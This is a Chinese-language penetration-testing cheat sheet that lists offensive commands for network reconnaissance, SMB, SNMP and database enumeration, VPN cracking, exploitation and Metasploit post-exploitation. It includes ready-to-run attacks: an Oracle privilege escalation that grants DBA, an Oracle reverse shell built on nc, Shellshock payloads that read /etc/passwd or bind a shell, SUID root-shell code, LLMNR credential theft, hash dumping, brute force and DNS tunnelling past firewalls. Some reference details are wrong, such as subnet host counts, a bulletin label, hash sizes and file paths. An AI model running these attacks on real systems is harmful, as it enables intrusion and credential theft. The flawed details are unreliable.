渗透测试工具备忘单|Penetration Testing Tools Cheat Sheet

渗透测试工具备忘单|Penetration Testing Tools Cheat Sheet

目录导航

渗透测试工具备忘单,典型渗透测试活动的快速参考高级概述。设计为快速参考备忘单,提供第三方渗透测试公司在执行手动基础设施渗透测试时将运行的典型命令的高级概述。有关更深入的信息,我建议使用该工具的 man 文件或更具体的渗透测试备忘单从右侧菜单中获取。

这个备忘单的重点是基础设施/网络渗透测试,除了最后的一些sqlmap命令和一些Web服务器枚举之外,这里不涉及Web应用程序渗透测试。对于 Web 应用程序渗透测试,请查看 Web 应用程序黑客手册,它非常适合学习和参考。

网络配置

ifconfig eth0 xxx.xxx.xxx.xxx/24 

子网划分

ipcalc xxx.xxx.xxx.xxx/24 
ipcalc xxx.xxx.xxx.xxx 255.255.255.0 

开源情报

被动信息收集

域名系统

WHOIS 枚举
whois domain-name-here.com 
执行 DNS IP 查找
dig a domain-name-here.com @nameserver 
执行 MX 记录查找
dig mx domain-name-here.com @nameserver
使用 DIG 执行区域传输
dig axfr domain-name-here.com @nameserver

DNS 区域传输

命令描述
nslookup -> set type=any -> ls -d blah.comWindows DNS 区域传输
dig axfr blah.com @ns1.blah.comLinux DNS 区域传输

电子邮件

简单的电子邮件

使用简单的电子邮件枚举所有在线位置(github、目标站点等),如果您使用代理或设置较长的节流时间,效果会更好,这样 google 就不会认为您是机器人并让您填写验证码。

git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN

简单电子邮件可以在收集后验证发现的电子邮件地址。

半主动信息收集

基本指纹

手动指纹/横幅抓取。

命令描述
nc -v 192.168.1.1 25telnet 192.168.1.1 25通过显示的横幅进行基本版本控制/指纹识别
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

主动信息收集

DNS 暴力破解

域名解析

DNS 枚举 Kali – DNSRecon

root:# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

端口扫描

Nmap 命令

有关更多命令,请参阅 Nmap 备忘单(右侧菜单中的链接)。

基本的 Nmap 命令:

命令描述
nmap -v -sS -A -T4 targetNmap 详细扫描、运行同步隐身、T4 计时(在 LAN 上应该没问题)、操作系统和服务版本信息、跟踪路由和针对服务的脚本
nmap -v -sS -p--A -T4 target如上所述,但扫描所有 TCP 端口(需要更长的时间)
nmap -v -sU -sS -p- -A -T4 target如上所述,但扫描所有 TCP 端口和 UDP 扫描(需要更长的时间)
nmap -v -p 445 --script=smb-check-vulns
--script-args=unsafe=1 192.168.1.X
用于扫描易受攻击的 SMB 服务器的 Nmap 脚本 – 警告:unsafe=1 可能会导致崩溃
ls /usr/share/nmap/scripts/* | grep ftp在 nmap 脚本中搜索关键字

我有几个人提到过 T4 扫描,请在此处应用常识。不要在外部渗透测试中使用 T4 命令(当使用 Internet 连接时),最好使用带有 TCP 连接扫描的 T2。T4 扫描可能更适合内部渗透测试,通过具有大量带宽的低延迟链接。但这一切都取决于目标设备,如果您对它们进行 T4 / T5 并给出不确定的结果,嵌入式设备将会遇到困难。作为一般经验法则,尽可能慢地扫描,或者对前 1000 个进行快速扫描,这样您就可以开始渗透测试,然后开始较慢的扫描。

Nmap UDP 扫描
nmap -sU TARGET 
UDP 协议扫描器
git clone https://github.com/portcullislabs/udp-proto-scanner.git

扫描所有服务的 IP 地址文件:

./udp-protocol-scanner.pl -f ip.txt 

扫描特定的 UDP 服务:

udp-proto-scanner.pl -p ntp -f ips.txt
其他主机发现

其他不使用 nmap 的主机发现方法……

命令描述
netdiscover -r 192.168.1.0/24从 ARP 发现子网上的 IP、MAC 地址和 MAC 供应商,有助于确认您位于 $client 站点的正确 VLAN

枚举和攻击网络服务

专门识别和/或枚举网络服务的渗透测试工具:

SAMB / SMB / Windows 域枚举

samba枚举

SMB 枚举工具
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

另请参阅 nbtscan 备忘单(右侧菜单)。

命令描述
nbtscan 192.168.1.0/24发现子网上的 Windows/Samba 服务器,发现 Windows MAC 地址、netbios 名称并发现客户端工作组/域
enum4linux -a target-ip做一切,运行所有选项(查找 Windows 客户端域/工作组),除了基于字典的共享名称猜测
指纹SMB版
smbclient -L //192.168.1.100 
查找开放的 SMB 共享
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24   
枚举 SMB 用户
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254 
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX

RID Cycling:

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

用于 RID 循环的 Metasploit 模块:

use auxiliary/scanner/smb/smb_lookupsid
手动空会话测试:

windwows:

net use \\TARGET\IPC$ "" /u:""

Linux:

smbclient -L //192.168.99.131
NBTScan unixwiz

在 Kali rolling上安装:

apt-get install nbtscan-unixwiz 
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS 欺骗

从网络上窃取凭据。

Metasploit LLMNR / NetBIOS 请求

欺骗/毒害 LLMNR/NetBIOS 请求:

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

捕获哈希:

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

你最终会得到 NTLMv2 哈希,使用 john 或 hashcat 来破解它。

Responder.py

或者,您可以使用Responder。

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
为整个参与运行 Responder.py

在处理其他攻击向量时,在参与期间运行 Responder.py。

SNMP 枚举工具

许多 SNMP 枚举工具。

修复 SNMP 输出值,以便它们是人类可读的:

apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
命令描述
snmpcheck -t 192.168.1.X -c publicsnmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.Xonesixtyone -c names -i hosts
SNMP 枚举

SNMPv3 枚举工具

使用 nmap 识别 SNMPv3 服务器:

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

Rory McCune 的 snmpwalk 包装器脚本有助于自动化 SNMPv3 的用户名枚举过程:

apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
使用 Metasploits 密码字典

Metasploit 的 wordlist(下面的 KALI 路径)具有 SNMP v1 和 2 的通用凭据,对于更新的凭据,请查看 GitHub 上 Daniel Miessler 的 SecLists 项目(不是邮件列表!)。

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

R 服务枚举

这是遗留问题,包括在内是为了完整性。

nmap -A 将执行下面列出的所有 rservices 枚举,为了完整性或手动确认添加了此部分:

RSH 枚举

RSH 运行命令
rsh <target> <command>
Metasploit RSH 登录扫描器
auxiliary/scanner/rservices/rsh_login
rusers 显示登录用户
rusers -al 192.168.2.1
rusers 扫描整个子网
rlogin -l <user> <target>

例如 rlogin -l root TARGET-SUBNET/24

Finger枚举

finger @TARGET-IP

指一个特定的用户名

finger [email protected] 

显示所有登录用户的 Solaris 错误:

finger [email protected]  

SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN

finger 'a b c d e f g h'@sunhost 

rwho

使用 nmap 识别运行 rwhod (513 UDP) 的机器

TLS 和 SSL 测试

测试文件

在单个主机上测试所有内容并输出到 .html 文件:

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html  

漏洞评估

在 Kali Rolling 上安装 OpenVAS 8:

apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup

使用以下命令验证 openvas 是否正在运行:

netstat -tulpn

在 https://127.0.0.1:9392 登录 – 在 openvas-setup 期间生成凭据。

数据库渗透测试

攻击暴露在网络上的数据库服务器。

Oracle{甲骨文}

安装 osscanner:

apt-get install oscanner  

运行 osscanner:

oscanner -s 192.168.1.200 -P 1521 

指纹 Oracle TNS 版本

安装 tnscmd10g:

apt-get install tnscmd10g

指纹oracle tns:

tnscmd10g version -h TARGET
nmap --script=oracle-tns-version 

暴力破解 oracle 用户帐户

确定默认的 Oracle 帐户:

 nmap --script=oracle-sid-brute 
 nmap --script=oracle-brute 

针对 Oracle TNS 运行 nmap 脚本:

nmap -p 1521 -A TARGET

Oracle 权限提升

要求:

  • Oracle需要在网络上公开
  • 默认帐户正在使用中,例如 scott

其工作原理的快速概览:

  1. 创建函数
  2. 在表 SYS.DUAL 上创建索引
  3. 我们刚刚创建的索引执行我们的函数 SCOTT.DBA_X
  4. 该函数将由 SYS 用户执行(因为这是拥有该表的用户)。
  5. 创建一个具有 DBA 特权的帐户

在下面的示例中,使用用户 SCOTT,但这应该可以使用另一个默认 Oracle 帐户。

使用 NMAP NSE 脚本识别 oracle 数据库中的默认帐户:
nmap --script=oracle-sid-brute 
nmap --script=oracle-brute 

使用已识别的弱帐户登录(假设您找到了一个)。

如何识别 oracle 用户的当前权限级别:
SQL> select * from session_privs; 

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid 
curren_user is 
pragma autonomous_transaction; 
begin 
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
Oracle priv esc 并获得 DBA 访问权限:

运行netcat:netcat -nvlp 443代码>

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
使用选择查询运行漏洞利用:
SQL> Select * from session_privs; 

您应该有一个具有凭据 user1 和 pass1 的 DBA 用户。

通过再次重新运行第一个命令来验证您是否具有 DBA 权限。

使用以下命令删除漏洞:
drop index exploit_1337; 
获取 Oracle Reverse os-shell:
begin
dbms_scheduler.create_job( job_name    => 'MEH1337',job_type    =>
    'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
    SYSTIMESTAMP,enabled    => FALSE,auto_drop => TRUE); 
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell'); 
end; 

MSSQL

枚举/发现:

nmap:

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Metasploit:

msf > use auxiliary/scanner/mssql/mssql_ping
使用 MS SQL Server 浏览更多

尝试通过 MS SQL Server Management Studio 使用“浏览更多”

暴力破解 MSSQL

msf > use auxiliary/admin/mssql/mssql_enum

Metasploit MSSQL Shell

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

网络

Plink.exe 隧道

PuTTY 链接隧道

将远程端口转发到本地地址:

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

Pivoting

SSH Pivoting

ssh -D 127.0.0.1:1010 -p 22 [email protected]

在 /etc/proxychains.conf 中添加 socks4 127.0.0.1 1010

SSH 从一个网络转向另一个网络:

ssh -D 127.0.0.1:1010 -p 22 [email protected]

在 /etc/proxychains.conf 中添加 socks4 127.0.0.1 1010

proxychains ssh -D 127.0.0.1:1011 -p 22 [email protected]

在/etc/proxychains.conf 中添加socks4 127.0.0.1 1011

Meterpreter Pivoting

TTL指纹

操作系统TTL 大小
视窗128
Linux64
索拉里斯255
思科 / 网络255

IPv4 备忘单

有类 IP 范围

例如 A、B、C 类(折旧)

班级IP 地址范围
A 类 IP 地址范围0.0.0.0 - 127.255.255.255
B 类 IP 地址范围128.0.0.0 - 191.255.255.255
C 类 IP 地址范围192.0.0.0 - 223.255.255.255
D 类 IP 地址范围224.0.0.0 - 239.255.255.255
E 类 IP 地址范围240.0.0.0 - 255.255.255.255

IPv4 私有地址范围

班级范围
A 类私有地址范围10.0.0.0 - 10.255.255.255
B 类私有地址范围172.16.0.0 - 172.31.255.255
C 类私有地址范围192.168.0.0 - 192.168.255.255
127.0.0.0 - 127.255.255.255

IPv4 子网速查表

渗透测试工具备忘单|Penetration Testing Tools Cheat Sheet

子网备忘单,并非真正用于渗透测试,而是一个有用的参考。

CIDR十进制掩码主机数
/31255.255.255.2541 主机
/30255.255.255.2522 主机
/29255.255.255.2496 主机
/28255.255.255.24014 主机
/27255.255.255.22430 主机
/26255.255.255.19262 主机
/25255.255.255.128126 主机
/24255.255.255.0254 主机
/23255.255.254.0512 主机
/22255.255.252.01022 主机
/21255.255.248.02046 主机
/20255.255.240.04094 主机
/19255.255.224.08190 主机
/18255.255.192.016382 主机
/17255.255.128.032766 主机
/16255.255.0.065534 主机
/15255.254.0.0131070 主机
/14255.252.0.0262142 主机
/13255.248.0.0524286 主机
/12255.240.0.01048674 主机
/11255.224.0.02097150 主机
/10255.192.0.04194302 主机
/9255.128.0.08388606 主机
/8255.0.0.016777214 主机

VLAN跳跃

为 Yersina 使用 NCCGroups VLAN 包装器脚本可简化该过程。

git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh 

VPN 渗透测试工具

识别 VPN 服务器:

./udp-protocol-scanner.pl -p ike TARGET(s)

扫描 VPN 服务器的范围:

./udp-protocol-scanner.pl -p ike -f ip.txt

IKEForce

使用 IKEForce 枚举或字典攻击 VPN 服务器。

安装:

pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

使用 IKEForce 执行 IKE VPN 枚举:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

使用 IKEForce 的暴力 IKE VPN:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

IKE 激进模式 PSK 破解

  1. 识别 VPN 服务器
  2. 用IKEForce枚举获取组ID
  3. 使用 ike-scan 从 IKE 端点捕获 PSK 哈希
  4. 使用psk-crack破解hash
步骤 1:识别 IKE 服务器
./udp-protocol-scanner.pl -p ike SUBNET/24
第 2 步:使用 IKEForce 枚举组名
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
第 3 步:使用 ike-scan 捕获 PSK 哈希
ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
第四步:使用psk-crack破解PSK哈希
psk-crack hash-file.txt

下面一些更高级的 psk-crack 选项:

pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP 黑客

识别PPTP,它监听TCP:1723

NMAP PPTP 指纹:
nmap –Pn -sV -p 1723 TARGET(S)
PPTP字典攻击
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

DNS隧道

通过 DNS 隧道传输数据以绕过防火墙。

dnscat2 支持“下载”和“上传”命令,用于从目标机器获取文件(数据和程序)。

攻击机

安装:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

运行 dnscat2:

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

目标机器:

https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/

dnscat --host <dnscat server_ip>

BOF/Exploit

Exploit研究

查找枚举主机/服务的漏洞利用。

命令描述
searchsploit windows 2003 | grep -i local在exploit-db中搜索exploit,在这个例子中是windows 2003 + local esc
site:exploit-db.com exploit kernel <= 3使用谷歌搜索exploit-db.com寻找漏洞
grep -R "W7" /usr/share/metasploit-framework
/modules/exploit/windows/*
使用 grep 搜索 metasploit 模块 – msf 搜索有点糟糕

搜索漏洞Exploit

安装exploit-db的本地副本:

 searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

在 Kali 上编译 Windows 漏洞利用

  wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
  wine mingw-get-setup.exe
  select mingw32-base
  cd /root/.wine/drive_c/windows
  wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
  cd /root/.wine/drive_c/MinGW/bin
  wine gcc -o ability.exe /tmp/exploit.c -lwsock32
  wine ability.exe  

交叉编译Exploit

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

常见漏洞Exploit

Shellshock Exploit

一种查找和利用易受 Shellshock 攻击的服务器的工具:

git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
cat 文件(查看文件内容)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
冲击运行绑定 shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
反向 shell
nc -l -p 443

简单的本地 Web 服务器

Python 本地 Web 服务器命令,可方便地在攻击机器上提供 shell 和漏洞利用。

命令描述
python -m SimpleHTTPServer 80运行一个基本的 http 服务器,非常适合提供 shell 等
python3 -m http.server运行一个基本的 Python3 http 服务器,非常适合提供 shell 等
ruby -rwebrick -e "WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot => Dir.pwd).start"
运行一个 ruby​​ webrick 基本的 http 服务器
php -S 0.0.0.0:80运行一个基本的 PHP http 服务器

挂载文件共享

如何挂载 NFS/CIFS、Windows 和 Linux 文件共享。

命令描述
mount 192.168.1.1:/vol/share /mnt/nfs将 NFS 共享挂载到 /mnt/nfs
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs
在 Linux 上挂载 Windows CIFS / SMB 共享,/mnt/cifs如果您删除密码,它将在 CLI 上提示(更安全,因为它不会以 bash_history 结束)
net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no
从命令行在 Windows 上挂载 Windows 共享
apt-get install smb4k -y在 Kali 上安装 smb4k,用于浏览 SMB 共享的有用 Linux GUI

HTTP / HTTPS 网络服务器枚举

命令描述
nikto -h 192.168.1.1对目标执行 nikto 扫描
dirbuster通过 GUI 配置,CLI 输入大部分时间不起作用

数据包检查

命令描述
tcpdump tcp port 80 -w output.pcap -i eth0接口 eth0 上端口 80 的 tcpdump,输出到 output.pcap

用户名枚举

一些用于远程枚举目标系统上用户的技术。

SMB 用户枚举

命令描述
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
从 SMB 枚举用户
ridenum.py 192.168.XXX.XXX 500 50000 dict.txtRID 循环 SMB / 从 SMB 枚举用户

SNMP 用户枚举

命令描述
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d” “ -f4
从 SNMP 启用用户
python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX
从 SNMP 启用用户
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)
使用 nmap、grepable 输出搜索 SNMP 服务器

密码

密码字典

命令描述
/usr/share/wordlistskali自带的密码字典
渗透测试工具备忘单|Penetration Testing Tools Cheat Sheet

暴力破解服务

Hydra FTP 暴力破解

命令描述
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V
Hydra FTP 暴力破解

Hydra POP3 蛮力

命令描述
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V
Hydra POP3 蛮力

Hydra SMTP 暴力破解

命令描述
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -VHydra SMTP 暴力破解

使用-t限制并发连接,例如:-t 15

密码破解

密码破解渗透测试工具。

开膛手约翰 – JTR

命令描述
john --wordlist=/usr/share/wordlists/rockyou.txt hashesJTR密码破解
john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txtJTR用wordlist强制解密破解
john --format=descrypt hash --showJTR强制解密蛮力破解

Windows 渗透测试命令

请参阅Windows 渗透测试命令

Linux 渗透测试命令

有关 Linux 渗透测试命令的列表,请参阅 Linux 命令备忘单(右侧菜单),对本地系统枚举很有用。

编译漏洞利用

关于编译漏洞的一些注意事项。

确定 C 代码是用于 Windows 还是 Linux

C #includes 将指示应该使用哪个操作系统来构建漏洞利用。

命令描述
process.h, string.h, winbase.h, windows.h, winsock2.hWindows 漏洞利用代码
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h
Linux漏洞利用代码

构建利用 GCC

编译exploit gcc。

命令描述
gcc -o exploit exploit.c基本的 GCC 编译

GCC 在 64 位 Kali 上编译 32 位漏洞

便于在 64 位攻击机器上交叉编译 32 位二进制文​​件。

命令描述
gcc -m32 exploit.c -o exploit在 64 位 Linux 上交叉编译 32 位二进制文​​件

在 Linux 上编译 Windows .exe

在 Linux 上构建/编译 Windows 漏洞利用程序,生成一个 .exe 文件。

命令描述
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe在 Linux 上编译 windows .exe

SUID 二进制

通常需要 SUID C 二进制文件以超级用户身份生成 shell,您可以根据需要更新 UID/GID 和 shell。

以下是各种 shell 的一些快速复制和粘贴示例:

/bin/bash 的 SUID C Shell

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}       

/bin/sh 的 SUID C Shell

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}       

构建 SUID Shell 二进制文件

gcc -o suid suid.c  

对于 32 位:

gcc -m32 -o suid suid.c  

反向shell

有关有用的 Reverse Shell列表,请参阅Reverse Shell Cheat Sheet

TTY shell

从 Linux 中的有限 shell 生成 TTY shell 的提示/技巧,对于su从反向 shell等运行命令非常有用。

Python TTY Shell 技巧

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

生成交互式 sh shell

/bin/sh -i

生成 Perl TTY Shell

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

生成 Ruby TTY Shell

exec "/bin/sh"

生成 Lua TTY Shell

os.execute('/bin/sh')

从 Vi 生成 TTY Shell

从 vi 运行 shell 命令:

:!bash

生成 TTY Shell NMAP

!sh

Metasploit 备忘单

一个基本的 metasploit 备忘单,我找到了方便参考。

基本的 Metasploit 命令,可用于参考,用于旋转请参阅 – Meterpreter 旋转技术。

Meterpreter 有效载荷

Windows 反向 Meterpreter 有效负载

命令描述
set payload windows/meterpreter/reverse_tcpWindows 反向 tcp 负载

Windows VNC Meterpreter 有效负载

命令描述
set payload windows/vncinject/reverse_tcpset ViewOnly falseMeterpreter Windows VNC 有效负载

Linux 反向 Meterpreter 有效负载

命令描述
set payload linux/meterpreter/reverse_tcpMeterpreter Linux 反向有效负载

Meterpreter 备忘单

有用的meterpreter 命令。

命令描述
upload file c:\\windowsMeterpreter 上传文件到 Windows 目标
download c:\\windows\\repair\\sam /tmpMeterpreter 从 Windows 目标下载文件
download c:\\windows\\repair\\sam /tmpMeterpreter 从 Windows 目标下载文件
execute -f c:\\windows\temp\exploit.exeMeterpreter 在目标上运行 .exe – 便于执行上传的漏洞利用
execute -f cmd -c使用 cmd shell 创建新通道
psMeterpreter 显示流程
shellMeterpreter 在目标上获取 shell
getsystemMeterpreter 尝试提升目标权限
hashdumpMeterpreter 尝试将哈希值转储到目标上
portfwd add –l 3389 –p 3389 –r targetMeterpreter 创建端口转发到目标机器
portfwd delete –l 3389 –p 3389 –r targetMeterpreter 删除端口转发

常见的 Metasploit 模块

渗透测试工具备忘单|Penetration Testing Tools Cheat Sheet

顶级 metasploit 模块。

远程 Windows Metasploit 模块(漏洞利用)

命令描述
use exploit/windows/smb/ms08_067_netapiMS08_067 Windows 2k、XP、2003 远程利用
use exploit/windows/dcerpc/ms06_040_netapiMS08_040 Windows NT、2k、XP、2003 远程漏洞利用
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
MS09_050 Windows Vista SP1/SP2 和 Server 2008 (x86) 远程利用

本地 Windows Metasploit 模块(漏洞利用)

命令描述
use exploit/windows/local/bypassuac在 Windows 7 上绕过 UAC + 设置目标 + arch、x86/64

辅助 Metasploit 模块

命令描述
use auxiliary/scanner/http/dir_scannerMetasploit HTTP 目录扫描器
use auxiliary/scanner/http/jboss_vulnscanMetasploit JBOSS 漏洞扫描器
use auxiliary/scanner/mssql/mssql_loginMetasploit MSSQL 凭证扫描器
use auxiliary/scanner/mysql/mysql_versionMetasploit MSSQL 版本扫描器
use auxiliary/scanner/oracle/oracle_loginMetasploit Oracle 登录模块

Metasploit Powershell 模块

命令描述
use exploit/multi/script/web_deliveryMetasploit powershell 有效载荷传送模块
post/windows/manage/powershell/exec_powershellMetasploit 通过会话上传和运行 powershell 脚本
use exploit/multi/http/jboss_maindeployerMetasploit JBOSS 部署
use exploit/windows/mssql/mssql_payloadMetasploit MSSQL 有效负载

后渗透 Windows Metasploit 模块

用于权限提升的 Windows Metasploit 模块。

命令描述
run post/windows/gather/win_privsMetasploit 显示当前用户的权限
use post/windows/gather/credentials/gppMetasploit 抓取 GPP 保存的密码
load mimikatz -> wdigestMetasplit 加载 Mimikatz
run post/windows/gather/local_admin_search_enum识别提供的域用户具有管理访问权限的其他计算机
run post/windows/gather/smart_hashdump自动转储 sam 文件,尝试 esc 权限等

ASCII 表速查表

对于 Web 应用程序渗透测试很有用,或者如果您被困在火星上并需要与 NASA 通信。

ASCIICHARACTER
x00Null Byte
x08BS
x09TAB
x0aLF
x0dCR
x1bESC
x20SPC
x21!
x22
x23#
x24$
x25%
x26&
x27`
x28(
x29)
x2a*
x2b+
x2c,
x2d
x2e.
x2f/
x300
x311
x322
x333
x344
x355
x366
x377
x388
x399
x3a:
x3b;
x3c<
x3d=
x3e>
x3f?
x40@
x41A
x42B
x43C
x44D
x45E
x46F
x47G
x48H
x49I
x4aJ
x4bK
x4cL
x4dM
x4eN
x4fO
x50P
x51Q
x52R
x53S
x54T
x55U
x56V
x57W
x58X
x59Y
x5aZ
x5b[
x5c\
x5d]
x5e^
x5f_
x60`
x61a
x62b
x63c
x64d
x65e
x66f
x67g
x68h
x69i
x6aj
x6bk
x6cl
x6dm
x6en
x6fo
x70p
x71q
x72r
x73s
x74t
x75u
x76v
x77w
x78x
x79y
x7az

思科 IOS 命令

一组有用的 Cisco IOS 命令。

命令描述
enable进入启用模式
conf t简写,配置终端
(config)# interface fa0/0配置 FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255将 ip 添加到 fa0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255将 ip 添加到 fa0/0
(config-if)# line vty 0 4配置 vty 线路
(config-line)# login思科设置​​telnet密码
(config-line)# password YOUR-PASSWORD设置远程登录密码
# show running-config显示内存中加载的运行配置
# show startup-config显示启动配置
# show version显示 cisco IOS 版本
# show session显示打开的会话
# show ip interface显示网络接口
# show interface e0显示详细的接口信息
# show ip route显示路线
# show access-lists显示访问列表
# dir file systems显示可用文件
# dir all-filesystems文件信息
# dir /all显示删除的文件
# terminal length 0终端输出无限制
# copy running-config tftp将运行配置复制到 tftp 服务器
# copy running-config startup-config将启动配置复制到运行配置

密码学

哈希长度

哈希尺寸
MD5 哈希长度16位
SHA-1 哈希长度20
SHA-256 哈希长度32位
SHA-512 哈希长度64位

哈希示例

可能只是为此使用哈希标识符,但这里有一些示例哈希:

哈希例子
MD5 哈希示例8743b52063cd84097a65d1633f5c74f5
MD5 $PASS:$SALT 示例01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $SALT:$PASSf0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 哈希示例b89eaac7e61417341b710b727768294d0e6a277b
SHA1 $PASS:$SALT2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $SALT:$PASScac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935
SHA-256 $PASS:$SALTc73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4
SHA-256 $SALT:$PASSeb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617
SHA-51282a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
SHA-512 $PASS:$SALTe5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
SHA-512 $SALT:$PASS976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
NTLM 哈希示例b4b9b02e6f09a9bd760f388b67351e2b

SQLMap 示例

一个迷你 SQLMap 备忘单:

命令描述
sqlmap -u http://meh.com --forms --batch --crawl=10
--cookie=jsessionid=54321 --level=5 --risk=3
自动sqlmap扫描
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE
--level=3 --current-user --current-db --passwords
--file-read="/var/www/blah.php"
有针对性的 sqlmap 扫描
sqlmap -u "http://meh.com/meh.php?id=1"
--dbms=mysql --tech=U --random-agent --dump
使用 mysql 后端扫描 url 以获取联合 + 基于错误的注入,
并使用随机用户代理 + 数据库转储
sqlmap -o -u "http://meh.com/form/" --forms注入的sqlmap检查表
